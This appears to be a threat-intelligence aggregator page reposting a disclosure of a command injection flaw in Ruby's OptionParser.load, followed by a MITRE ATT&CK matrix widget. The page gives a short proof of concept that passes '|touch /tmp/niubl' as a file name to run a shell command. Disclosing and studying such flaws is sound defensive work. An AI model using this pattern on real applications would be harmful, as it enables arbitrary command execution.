OptionParser.load function use IO.readlines to read file, which can inject | command to exec command. poc: ``` require 'optparse' OptionParser.new do |opts| opts.load("|touch /tmp/niubl") end.parse! ``` Impact The command may be executed...
Intelligence View
⚡ tsecurity.de Intelligence
Ruby: Command injection in OptionParser.load
OptionParser.load function use IO.readlines to read file, which can inject | command to exec command. poc: ``` require 'optparse' OptionParser.new do |opts|…
OptionParser.load function use IO.readlines to read file, which can inject | command to exec command. poc: ``` require 'optparse' OptionParser.new do |opts| opts.load("|touch /tmp/niubl") end.parse! ``` Impact The command may be executed...
2. Cyber Threat Intelligence & Forensik
CTI Threat Relationship Graph3 Knoten / 2 Relationen
MITRE ATT&CK Matrix Navigator 14 Taktiken
1 belegte TechnikenLive-Mapping
Reconnaissance
–
Resource Development
–
Initial Access
Execution
–
Persistence
–
Privilege Escalation
–
Defense Evasion
–
Credential Access
–
Discovery
–
Lateral Movement
–
Collection
–
Command and Control
–
Exfiltration
–
Impact
–